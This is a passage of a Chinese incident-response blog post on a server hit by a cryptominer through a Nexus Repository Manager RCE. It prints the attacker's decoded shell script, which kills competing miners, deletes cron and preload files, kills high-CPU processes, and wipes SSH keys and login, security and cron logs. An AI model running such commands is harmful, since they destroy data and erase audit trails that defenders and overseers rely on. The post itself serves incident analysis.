后来看到异常文件：

然后想起来前两天RR大佬也爆了个Nexus的RCE，Nexus Repository Manager 3 RCE 分析 -【CVE-2019-7238】，然后试了下，成功了

彩蛋

这次应急让我意外的是恶意的下载的sh脚本

访问之后base64解密看到之后相当惊喜：

ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9

这是啥？这本来是攻击者为了让服务器资源都用在自己的挖矿进程上，关闭其他可能存在的挖矿及DDoS木马。

这TM真是良心啊！都不用整理了！以后遇到挖矿的事件拿出来一把梭！！！

chattr -i /etc/cron.d/root chattr -i /etc/cron.d/system chattr -i /etc/ld.so.preload chattr -i /etc/cron.d/apache chattr -i /var/spool/cron/root chattr -i /var/spool/cron/crontabs/root chattr -i /usr/local/bin/dns chattr -i /usr/sbin/netdns chattr -i /bin/netstat rm -rf /etc/cron.d/system /etc/cron.d/apache /etc/cron.hourly/oanacron /etc/cron.daily/oanacron /etc/cron.monthly/oanacron /usr/local/lib/libn tp.so /etc/init.d/netdns /etc/init.d/kworker /bin/httpdns /usr/local/bin/dns /bin/netstat /usr/sbin/netdns chkconfig --del kworker chkconfig --del netdns p=$(ps auxf|grep -v grep|grep ksoftirqds|wc -l) if [ ${p} -eq 0 ];then ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9 fi 

使用chattr解锁相关文件，并删除；清除CPU占用率超过百分之80的进程

if [ -e "/tmp/gates.lod" ]; then rm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe)
    kill -9 $(cat /tmp/gates.lod)
    rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe)
    kill -9 $(cat /tmp/moni.lod)
    rm -rf /tmp/{gates,moni}.lod
fi

清除billgates挖矿木马相关文件、进程。

echo 0>/root/.ssh/authorized_keys #清除ssh密钥内容 echo 0>/var/spool/mail/root #清除邮件内容 echo 0>/var/log/wtmp #清除登录日志 echo 0>/var/log/secure #清除安全日志 echo 0>/var/log/cron #清除计划任务日志 

总体来说此次挖矿的幕后操作者相当的良心，诚意满满！学到了！